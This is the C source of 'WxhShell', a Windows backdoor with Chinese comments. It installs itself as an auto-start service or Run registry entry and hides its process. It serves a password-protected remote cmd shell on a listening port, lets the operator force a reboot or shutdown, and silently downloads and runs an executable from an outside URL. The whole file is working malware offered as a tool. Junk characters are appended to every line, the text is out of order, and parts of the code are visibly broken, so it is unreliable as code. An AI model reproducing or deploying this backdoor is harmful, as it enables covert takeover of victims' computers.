    if(Boot(SHUTDOWN)) =k$d8g ez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q%eBm_r;  
    else { ^1~/FU  
    closesocket(wsh); pM46I"  
    ExitThread(0); ZH0f32K  
    } N!h>fE`  
    break; N"T8 Pt  
    } Q?"[zX1  
  // 获取shell /6q/`vx@  
  case 's': { E`?BaCrG~  
    CmdShell(wsh); cEqh|Q  
    closesocket(wsh); P);Xke  
    ExitThread(0); )K?GAj]Pq  
    break; ! 4oIx`  
  } 5t<]|-i!  
  // 退出 9Np0<e3p  
  case 'x': { |wLQ)y*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cbwzT0  
    CloseIt(wsh);  *$cp"  
    break; :jUuw:\  
    } YAPD7hA  
  // 离开 /GXO2zO  
  case 'q': { 9{TOFjsF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pc.0;g N  
    closesocket(wsh); DY07?x7  
    WSACleanup(); O ,>&w5   
    exit(1); ks r5P~  
    break; #!5Nbe  
        } e`~q ;?:  
  } WuNu}Ibl}m  
  } Dw #&x/G  
e{} o:r  
  // 提示信息 b?Jm)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -$0S#/)Z  
} (mD]}{>  
  } SW; b E  
]rNfr-  
  return; +[qkG. O  
} L_.}z)S[\  
'pe0Q-  
// shell模块句柄 Za f)  
int CmdShell(SOCKET sock) <+b:  
{ +>3c+h,%.  
STARTUPINFO si; rx;U/)~#<  
ZeroMemory(&si,sizeof(si)); W" !amMQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; os.x|R]_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C C09:L?  
PROCESS_INFORMATION ProcessInfo; d+;wDu   
char cmdline[]="cmd"; {+[gf:Ev  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  qN QsU  
  return 0; [T%blaSX  
} BdKtpje  
FO5SXwx  
// 自身启动模式 5`uS<[vA  
int StartFromService(void) i3"sAr P"|  
{ "_K 6=  
typedef struct CS{9|FNz  
{ E+)Go-rS(  
  DWORD ExitStatus; sWC"^ So  
  DWORD PebBaseAddress; {DK:"ep  
  DWORD AffinityMask; >YfOR%mS4  
  DWORD BasePriority; L)+ eM&W  
  ULONG UniqueProcessId; U .Od  
  ULONG InheritedFromUniqueProcessId; bGJUu#  
}   PROCESS_BASIC_INFORMATION; 5QSmim  
L%0lX$2&\  
PROCNTQSIP NtQueryInformationProcess; OKqpc;y:D  
0?7uqS#L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vj]kJ,j\y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X^W> "q  
5oKc=iX_3  
  HANDLE             hProcess; (J4utw Z  
  PROCESS_BASIC_INFORMATION pbi; %:,=J  
gQEV;hCO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ueeay^zN  
  if(NULL == hInst ) return 0; x-pMT3m\D#  
16>uD;G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vf =  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U %ESuq#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cP1jw%3P  
k:TfE6JZ  
  if (!NtQueryInformationProcess) return 0; SRTpE,  
#{M -3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )|{{}w~`  
  if(!hProcess) return 0; .+Ej%|l%  
-^b^6=#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E5(Y*m!  
\zi3.;9|;  
  CloseHandle(hProcess); ^ ?=K)  
nsT|,O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #$w#"Nr9k  
if(hProcess==NULL) return 0; ?lK!OyCkc  
h9I )<_}R  
HMODULE hMod; X*"K g  
char procName[255]; nIjQLx  
unsigned long cbNeeded; RFJ;hh  
a~* V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hwzUCh 5!  
g#4gGhI  
  CloseHandle(hProcess); +V@=G &Ou0  
~Z]vr6?$h  
if(strstr(procName,"services")) return 1; // 以服务启动 VTWE-:r  
`0i3"06lr  
  return 0; // 注册表启动 )DmiN^:  
} B@]7eVo  
`I8^QcP  
// 主模块 tA-B3 ]  
int StartWxhshell(LPSTR lpCmdLine) {^W,e ^:  
{ DQ\&5ytP  
  SOCKET wsl; yj~"C$s  
BOOL val=TRUE; E aD@clJS  
  int port=0; =%\6}xPEl<  
  struct sockaddr_in door; EKPTDKut  
;J(,F:N  
  if(wscfg.ws_autoins) Install(); rcZ SC3  
eeU$uR  
port=atoi(lpCmdLine); @MB _gt)7?  
_vdxxhJ=P3  
if(port<=0) port=wscfg.ws_port; ik *)j  
~(j'a!#Vvk  
  WSADATA data; ,)$KS*f"*z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N1~V +_mM  
 |{)xC=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (nD$%/uK'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yXA f  
  door.sin_family = AF_INET; BozK!"R_<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X-1Vp_(,TP  
  door.sin_port = htons(port); Z9&D'n)  
8-a6Q|   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uX +<`3O  
closesocket(wsl); 6I.mc  
return 1; n[Iu!v\/*  
} oqba:y;AR  
SECQVA_y`  
  if(listen(wsl,2) == INVALID_SOCKET) { 5TneuGD  
closesocket(wsl); 1[BvHOI2  
return 1; g>xUS_d>  
} '$XHRS/q]  
  Wxhshell(wsl); J,G9m4Z7  
  WSACleanup(); {7Avba  
P! Ed  
return 0; &}0wzcMg  
YC&jKx.>  
} g0j4<\F2\  
loUwR z  
// 以NT服务方式启动 ` G=L07  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )H9*NB8%  
{ (oitCIV  
DWORD   status = 0; G>,nZ/,A{  
  DWORD   specificError = 0xfffffff; %lJiM`a  
6 2`PK+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NWHH.1|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q|B|#?E==  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ; eF4J  
  serviceStatus.dwWin32ExitCode     = 0; Rca Os  
  serviceStatus.dwServiceSpecificExitCode = 0; $SzCVWS  
  serviceStatus.dwCheckPoint       = 0; A>t!/_"  
  serviceStatus.dwWaitHint       = 0;  g1wI/  
kbYg4t]FH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L-C/Luws  
  if (hServiceStatusHandle==0) return; U`9\P2D`/  
Gr"7w[|+  
status = GetLastError(); GoSWH2N  
  if (status!=NO_ERROR) L%K_.!d^  
{ bepYeT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3{4/7D cX  
    serviceStatus.dwCheckPoint       = 0; Sq|1f?_gU  
    serviceStatus.dwWaitHint       = 0; =x0"6gTz>  
    serviceStatus.dwWin32ExitCode     = status; !@Sf>DM"  
    serviceStatus.dwServiceSpecificExitCode = specificError; r\n h.}s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VuMDV6^Z  
    return; sRyw\v-=P  
  } sIRrEea  
$',GkK{NX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X c2B2c  
  serviceStatus.dwCheckPoint       = 0; !^l4EL5#  
  serviceStatus.dwWaitHint       = 0; RpXs3=9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nn)`eR&  
} tM$0 >E  
{?f^  
// 处理NT服务事件,比如:启动、停止 6l\UNG7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?gR\A8:8  
{ nG ^M 2)(8  
switch(fdwControl) 2b4pOM7W  
{ J7?)$,ij%  
case SERVICE_CONTROL_STOP: " T a9  
  serviceStatus.dwWin32ExitCode = 0; R'9@A\7#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %V%#y $l  
  serviceStatus.dwCheckPoint   = 0; JQ@`EV9,  
  serviceStatus.dwWaitHint     = 0; 9<A\npD  
  { v!#`W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B!r48<p  
  } pl#o!j(i  
  return; ^wO_b'@v  
case SERVICE_CONTROL_PAUSE: PF'5z#] NP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4ljvoJ}xjr  
  break; A:.IBctsd  
case SERVICE_CONTROL_CONTINUE: \buZ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <Sprp]n 7  
  break; .hQ3A"  
case SERVICE_CONTROL_INTERROGATE: ~t${=o430  
  break; }r~v,KDb  
}; ll(e,9.D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  mF*?e/  
} /h7>Z9T  
Y*kh$E%<#  
// 标准应用程序主函数 qXU:A-IdIl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z9"{f)T  
{ \2R`q*a+  
4h;f>BG  
// 获取操作系统版本 5xMA~I0c  
OsIsNt=GetOsVer(); V<HOSB7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AU\xNF3  
t*Vao  
  // 从命令行安装 {(M&-~Yh  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lz9$,Y[  
vNC$f(cQ  
  // 下载执行文件 =wIdC3Ph  
if(wscfg.ws_downexe) { qD(fYOX{C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bIb6yVnHi  
  WinExec(wscfg.ws_filenam,SW_HIDE); )e|$K= D  
} k+WO &g*|  
*#Lsjk~_-  
if(!OsIsNt) { C`NBHRa>  
// 如果时win9x,隐藏进程并且设置为注册表启动 V4`:Vci Aw  
HideProc(); Ms:KM{T0  
StartWxhshell(lpCmdLine); 5w,lw  
} #JL&]Z+X6  
else _'!N q  
  if(StartFromService()) L876$  
  // 以服务方式启动 l$k]O  
  StartServiceCtrlDispatcher(DispatchTable); vLv|SqD  
else yN9$gfJC^  
  // 普通方式启动 <OR.q  
  StartWxhshell(lpCmdLine); tDC0-N&6S~  
;#Jq$v)D  
return 0; J.bF v/R  
} 1N!Oslum  
4;BW  
@4 /~~  
u[V4OU}%  
=========================================== fqcU5l[v,  
!paN`Fz\a  
9?u9wuH  
i"%JFj_G  
HF &h  
KjFZ  
" ig{A[7qN  
iUeV5cB  
#include <stdio.h> qs6Nb'JvQR  
#include <string.h> 935-{h@k  
#include <windows.h> MB ]#%g&  
#include <winsock2.h> ~/j$TT"  
#include <winsvc.h> pau*kMu^}  
#include <urlmon.h> xb4Pt`x)rS  
{E3xI2  
#pragma comment (lib, "Ws2_32.lib") Ne &Xf  
#pragma comment (lib, "urlmon.lib") o,?!"*EP  
]regi- LGU  
#define MAX_USER   100 // 最大客户端连接数 DAjG *K{  
#define BUF_SOCK   200 // sock buffer +"k.E x0:  
#define KEY_BUFF   255 // 输入 buffer v2/yw,  
tt+>8rxF:;  
#define REBOOT     0   // 重启 .abyYVrN4?  
#define SHUTDOWN   1   // 关机 /hm84La  
dV5PhP>6  
#define DEF_PORT   5000 // 监听端口 'ox0o:  
[kPD`be2#  
#define REG_LEN     16   // 注册表键长度 QuSV&>T\  
#define SVC_LEN     80   // NT服务名长度 &_"ORqn&  
SX1X< 9  
// 从dll定义API o2;(VSKhS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |RR"'o_E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zb"rMzCH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SQh+5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :d;[DYFLxb  
69t7=r  
// wxhshell配置信息 4^0d)+Ff  
struct WSCFG { CTl(_g  
  int ws_port;         // 监听端口 kcLj Kp  
  char ws_passstr[REG_LEN]; // 口令 n 11LxGwk  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8h*t55  
  char ws_regname[REG_LEN]; // 注册表键名 E)C.eW /  
  char ws_svcname[REG_LEN]; // 服务名 ~'NX~<m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yOX&cZ[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O{PW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x1t{SQ-C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8{R&EijC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?TIV2m^?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w?kGi>7E  
[dl+:P:zc  
}; Ee{`Y0  
i~9?:plS  
// default Wxhshell configuration }P#Vsqe V  
struct WSCFG wscfg={DEF_PORT, J4YT)-  
    "xuhuanlingzhe", bRWIDPh  
    1, 8V6=i'GK  
    "Wxhshell", *%:@ cbF-M  
    "Wxhshell", &svx@wW  
            "WxhShell Service", ^`tk/#h\9F  
    "Wrsky Windows CmdShell Service", >eQbipn  
    "Please Input Your Password: ", *3;UAfHv  
  1, qv *3A?uzr  
  "http://www.wrsky.com/wxhshell.exe", 24/ /21m  
  "Wxhshell.exe" XAkK:}h  
    }; wAw42{M  
8h@q  
// 消息定义模块 },rav]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v9u<F6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ERF,tLa!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w'A tf  
char *msg_ws_ext="\n\rExit."; '0 ]r<O  
char *msg_ws_end="\n\rQuit."; E_~x==cb  
char *msg_ws_boot="\n\rReboot..."; BU!#z(vU  
char *msg_ws_poff="\n\rShutdown..."; J5;5-:N  
char *msg_ws_down="\n\rSave to "; ndr)3tuYu  
s8^~NX(xdy  
char *msg_ws_err="\n\rErr!"; 88 {1mA,v  
char *msg_ws_ok="\n\rOK!"; (/&;jV2DD[  
Nu@5 kwH  
char ExeFile[MAX_PATH]; G%S6$@:  
int nUser = 0; .hKhrcQp  
HANDLE handles[MAX_USER]; 'fIHUw|  
int OsIsNt; $`pd|K`  
Kv}k*A% S  
SERVICE_STATUS       serviceStatus; %MN.O-Lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W@^J6sH  
kQLT$8io  
// 函数声明 [9OSpq  
int Install(void); 'f*O#&?  
int Uninstall(void); fuMN"T 6%+  
int DownloadFile(char *sURL, SOCKET wsh); UgR :qjI  
int Boot(int flag); _5b0wdB  
void HideProc(void); 6a*83G,k  
int GetOsVer(void); ?mMW*ico  
int Wxhshell(SOCKET wsl); :s"2Da3B  
void TalkWithClient(void *cs); wZ jlHe  
int CmdShell(SOCKET sock); fp{G|.SA  
int StartFromService(void); 8.yCA  
int StartWxhshell(LPSTR lpCmdLine); 1fY>>*oP  
)|pU.K9qZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JdiP>KXV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !4t`Hv?'  
DVh)w}v  
// 数据结构和表定义 <4c%Q)  
SERVICE_TABLE_ENTRY DispatchTable[] = pA.._8(t  
{ qp>N^)>  
{wscfg.ws_svcname, NTServiceMain}, -(9O6)Rs$  
{NULL, NULL} 7Lg7ei2mN7  
}; } Gr&w-v  
"]#'QuR  
// 自我安装 *g_w I%l  
int Install(void) =WK04\H  
{ e[{mVhg4E  
  char svExeFile[MAX_PATH]; 89Z#|#uM5  
  HKEY key; d; =u  
  strcpy(svExeFile,ExeFile); !^iwQ55e2A  
_{$fA6C  
// 如果是win9x系统,修改注册表设为自启动 qfYG.~`5  
if(!OsIsNt) { w{`Acu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PNpu*# Z`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I8u!\F  
  RegCloseKey(key); Uyk,.*8"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BSgTde|3y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =((yWn+t  
  RegCloseKey(key); ^I`a;  
  return 0; Blk}I  
    } 'Jydu   
  } % :/_f  
} 3z3_7XI  
else { .'j29 6[u  
 $:EG%jl  
// 如果是NT以上系统,安装为系统服务 VI_+v[Hk/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ] 8Tzr  
if (schSCManager!=0) 6+3$:?  
{ jj,r <T  
  SC_HANDLE schService = CreateService sn"fK=,#g  
  ( {<K=*r rZ  
  schSCManager, 9x?'}  
  wscfg.ws_svcname, 8sg|MWSU  
  wscfg.ws_svcdisp, =7 w>wW-  
  SERVICE_ALL_ACCESS, aQUGNa0+d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o=_c2m   
  SERVICE_AUTO_START, ~.oj.[ }  
  SERVICE_ERROR_NORMAL, c)~h<=)  
  svExeFile, aSL6zye ,  
  NULL, $UvPo0{  
  NULL, `/4:I  
  NULL, uel{`T[S  
  NULL, YQd:M%$  
  NULL wL3,g2-L  
  ); CU$#0f>  
  if (schService!=0) bd== +   
  { >c~RI7uu  
  CloseServiceHandle(schService); ~3CVxbB^<  
  CloseServiceHandle(schSCManager); IQnIaZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z9DcnAs  
  strcat(svExeFile,wscfg.ws_svcname); x2W#ROfg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $1Z6\G O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;:]\KJm}?  
  RegCloseKey(key); cyQBqG  
  return 0; =a$Oecg?  
    } Ew$I\j*  
  } ] fwZAU  
  CloseServiceHandle(schSCManager); %8r/oS  
} hXB|g[zT  
} 9Ah[rK*}  
8-M e.2K  
return 1; jfp z`zE  
} I=Ij dwbH  
wK!~tYxP  
// 自我卸载 h|)vv4-d|  
int Uninstall(void) +Xy*?5E;C  
{ 2SG$LIV 9Y  
  HKEY key; J7+w4q~cB`  
BKIjNV3  
if(!OsIsNt) { |+}G|hx@9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lzhqcL"  
  RegDeleteValue(key,wscfg.ws_regname); vmX"+sHz$]  
  RegCloseKey(key); L0NA*C   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fU+Pn@'  
  RegDeleteValue(key,wscfg.ws_regname); ,6,]#R :J  
  RegCloseKey(key); m3.sVI0I  
  return 0; Q(Gl{#b  
  } t ls60h  
} 1m@^E:w  
} 9 OT,TpA  
else { ,}SCa'PB  
eQDX:b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3EK9,:<Cf  
if (schSCManager!=0)  L,LNv  
{ M;.ZM<Ga  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W?Ww2Lo%Y  
  if (schService!=0) o:p *_>&  
  { szmmu*F,U:  
  if(DeleteService(schService)!=0) { dl~|Izm  
  CloseServiceHandle(schService); cg{AMeW  
  CloseServiceHandle(schSCManager); Log|%P\  
  return 0; S\#17.=  
  } bC6oqF'#  
  CloseServiceHandle(schService); l"+J c1\X  
  } SA"8!soY3  
  CloseServiceHandle(schSCManager); J'T=q/  
} hdma=KqZ(  
} <q2?S  
(k?7:h  
return 1; s:>\/[*>0c  
} L.'}e{ldW  
h2Bz F  
// 从指定url下载文件 6iA( o*'Yn  
int DownloadFile(char *sURL, SOCKET wsh) "Cz<d w]D  
{ ~bK9R 0|<  
  HRESULT hr; d+fSo SjX8  
char seps[]= "/"; ,,4 GNbBC  
char *token; H17-/|-;0!  
char *file; .qv'6G  
char myURL[MAX_PATH]; 9Ul(GI(  
char myFILE[MAX_PATH]; yxWO [ Z  
4JyM7ePND}  
strcpy(myURL,sURL); %; "@Ah  
  token=strtok(myURL,seps); 9jir* UI  
  while(token!=NULL) Af(WV>'  
  { 5*-3? <)e  
    file=token; 7^6uG6  
  token=strtok(NULL,seps); K9Hqq7"%  
  } /j2H A^GT  
#q\x$   
GetCurrentDirectory(MAX_PATH,myFILE); K`-!uZW:B7  
strcat(myFILE, "\\"); F7*wQ{~  
strcat(myFILE, file); Zyf P; &  
  send(wsh,myFILE,strlen(myFILE),0); wq!iV |  
send(wsh,"...",3,0); U9hS<}<Ki  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OQ&'Dti  
  if(hr==S_OK) RP4Ku9hk  
return 0; ~ 5"JzT  
else 5\fCd|  
return 1; zg)sd1@  
x2Lq=zwJ  
} &HZmQ>!R D  
RO(TvZ0pE  
// 系统电源模块 D<$XyP  
int Boot(int flag) /iaf ^ >  
{ l@Z6do  
  HANDLE hToken; ay )/q5  
  TOKEN_PRIVILEGES tkp; #U mF-c  
}iB|sl2J  
  if(OsIsNt) {  t+uE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (qM j-l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,M5}4E7L%s  
    tkp.PrivilegeCount = 1; wf.T3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !^c@shLN4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dEa<g99[?  
if(flag==REBOOT) { 2BXy<BM @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~nLN`H d  
  return 0; )RgGcHT@  
} tz NlJ~E  
else { 5&Ts7& .  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =@x`?oev  
  return 0; w4,Ag{t>  
} o`S ?  
  } OWq'[T4  
  else { \c,pEXG  
if(flag==REBOOT) { 5*%#o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "UFs~S|e  
  return 0; 0pb '\lA  
} OPJ: XbG  
else { Y$K!7Kq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cizvw'XDV  
  return 0; igL<g  
} Elj_,z  
} {y=W6uP  
>4` dy  
return 1; K6JVg$  
} ]  ]U<UJ  
Z4K+ /<I  
// win9x进程隐藏模块 "ICC B1N|  
void HideProc(void) Fzlozx1y[  
{ 75T_Dx(H  
G6P)C##ibn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ji1HV1S  
  if ( hKernel != NULL ) VZka}7a  
  { ]va>ex$d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UB`ToE|Ii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m><w0k?t  
    FreeLibrary(hKernel); N7r_77%m0  
  } `$LWmm#  
:e1o<JgPt  
return; ~5 N)f UI\  
} -/C)l)V}  
T  VmH  
// 获取操作系统版本 ^[E' 1$D  
int GetOsVer(void) Ox!U8g8c  
{ L WoG4s?w  
  OSVERSIONINFO winfo; h5_G4J{1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p^kUs0$GS  
  GetVersionEx(&winfo); +yob)%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %sBAl.!BN  
  return 1; &.13dq  
  else s'aip5P  
  return 0; wFh8?Z3u_  
} }T^cEfX  
Y}*\[}l:&x  
// 客户端句柄模块 'n QVj  
int Wxhshell(SOCKET wsl) 7tM9u5FF  
{ sZWaV4  
  SOCKET wsh; g>0XxjP4  
  struct sockaddr_in client; B$3 ?K  
  DWORD myID; $0oO &)*  
-$VZte x  
  while(nUser<MAX_USER) dC e4u<so\  
{ 5<pftTcZ  
  int nSize=sizeof(client); kv,%(en]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hVT~~n`Rj  
  if(wsh==INVALID_SOCKET) return 1; )5j;KI%t  
hf/2vt m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *_Z#O,  
if(handles[nUser]==0) #ge)2  
  closesocket(wsh); WO4=Mte?  
else _-!sBK+F  
  nUser++; |s#'dS;  
  } @$"J|s3M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mffn//QS  
NgCuFL(Ic  
  return 0; u?Tpi[ #  
} 5AS[\CB4  
\I-#1M  
// 关闭 socket TC~Q G$NW  
void CloseIt(SOCKET wsh) ne61}F"E  
{ -! ;l~#K=  
closesocket(wsh); /){KOCBl;  
nUser--; ,oxcq?7#4  
ExitThread(0); iqQUtE]E_  
} GuZ ( &G6*  
5erc D  
// 客户端请求句柄 !MDNE*_  
void TalkWithClient(void *cs) )D'^3) FF  
{ u<q :$  
X8dR+xd  
  SOCKET wsh=(SOCKET)cs; +;g {$da5  
  char pwd[SVC_LEN]; &C im!I  
  char cmd[KEY_BUFF]; "\Egs)\  
char chr[1]; )k&a}u5y  
int i,j; 4nH*Ui!T  
`-`qdda  
  while (nUser < MAX_USER) { !UOCJj.cA  
[%50/_h  
if(wscfg.ws_passstr) { I KtB;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s]T""-He  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l kyzNy9R  
  //ZeroMemory(pwd,KEY_BUFF); Mypc3  
      i=0; I1X /Lj=  
  while(i<SVC_LEN) { M<SdPC(+  
&1l=X]%  
  // 设置超时 IKMeJ(:S  
  fd_set FdRead; WwF~d+>|C  
  struct timeval TimeOut; )15Z#`x  
  FD_ZERO(&FdRead); v5;I]?72l~  
  FD_SET(wsh,&FdRead); 9Suu-A  
  TimeOut.tv_sec=8; d_n7k g+  
  TimeOut.tv_usec=0;  ;N B:e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <2!v(EkI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >{eCh$L  
g~7Ri-"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FJ*i\Q/D  
  pwd=chr[0]; ] sz3]"2  
  if(chr[0]==0xd || chr[0]==0xa) { Q%/<ZC.Mz6  
  pwd=0; ,\ 2a=Fp  
  break; 4!asT;`'  
  } Q6o(']0  
  i++; R1F5-#?'E  
    } i |{Dd%4vK  
`r5 $LaD  
  // 如果是非法用户,关闭 socket T5Q{{@Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Y$R~e^Y?  
} `c/*H29  
48|s$K^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O\K_q7iO6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!o]wHmA  
*5zrZ]^  
while(1) { ) xbO6V  
Tu{h<Zy  
  ZeroMemory(cmd,KEY_BUFF); )!g{Sbl  
2j(h+?N7k  
      // 自动支持客户端 telnet标准   fgNU03jp^x  
  j=0; K.G$]H  
  while(j<KEY_BUFF) { =. y*_Ja  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pA{ 5V9  
  cmd[j]=chr[0]; *Nyev]8  
  if(chr[0]==0xa || chr[0]==0xd) { ^qCkt1C-M  
  cmd[j]=0; LG~S8u  
  break; JKer//ng4  
  } 9Rm/V5  
  j++; f<+ 4rHT  
    } bX.ja;;   
@i^~0A#q*  
  // 下载文件 $Vc~/>  
  if(strstr(cmd,"http://")) { ut >4U'.H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v7%X@j]ji  
  if(DownloadFile(cmd,wsh)) t9&c E:n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |AlR^N  
  else yNm:[bOER  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z5c~^jL$-  
  } nR4y`oP+  
  else { IHgeQ F ~  
f84:hXo6  
    switch(cmd[0]) { ,uzN4_7u  
  izKfU?2]X@  
  // 帮助 \#68;)+=  
  case '?': { =%zLh<3v  
